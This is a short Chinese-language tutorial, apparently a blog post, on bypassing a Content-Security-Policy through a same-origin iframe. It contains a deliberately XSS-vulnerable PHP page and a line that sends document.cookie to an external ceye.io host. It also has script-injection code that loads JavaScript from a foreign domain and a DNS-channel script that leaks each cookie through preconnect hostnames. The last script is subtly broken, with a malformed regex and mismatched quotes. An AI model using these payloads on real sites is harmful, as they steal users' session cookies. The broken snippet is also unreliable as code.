通过iframe标签绕过csp

iframe.php代码如下：

allow-popups开启时，window.open就可以打开新的窗口。

看csp规则，默认是在当前域内，如果这是一个ctf题的话，就很简单了，window.location.href='http://aa.xxxx.ceye.io?'+document.cookie;能把cookie传出来。

但是要是远程加载js文件是不满足csp规则的。

<?php 
header("Content-Security-Policy: default-src 'self' 'unsafe-inline'; sandbox allow-forms allow-same-origin allow-scripts allow-modals allow-popups");
setcookie('afanti','test');
?>
<!DOCTYPE html>
<html>
<head>
    <title>bypass csp</title>
</head>
<body>
 <script> <?php echo $_GET['xss']; ?></script>
</body>

被csp规则拦住：

通过iframe引入外部js，其中iframe的src属性必须是同域下的。

引入的js代码如下：

f=document.createElement("iframe");
f.id="pwn";
f.src="./1.txt";
f.onload=()=>{
    x=document.createElement('script');
    x.src='//www.123.com/csp/1.js';                  
    pwn.contentWindow.document.body.appendChild(x)
};
document.body.appendChild(f);

这时候就能绕过csp引入其他域下的js了。

但是存在的问题就是，虽然能将外部的js引入，不能把浏览器的数据带出来。

解决办法：通过dns通道来传递cookie。

dc = document.cookie;
dcl = dc.split(";");
n0 = document.getElementsByTagName("HEAD")[0];
for (var i=0; i<dcl.length;i++)
{
console.log(dcl[i]);
n0.innerHTML = n0.innerHTML + "<link rel="preconnect" href="//" + escape(dcl[i].replace(///g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") +  ".on1sw1.ceye.io">";
console.log(n0.innerHTML);
}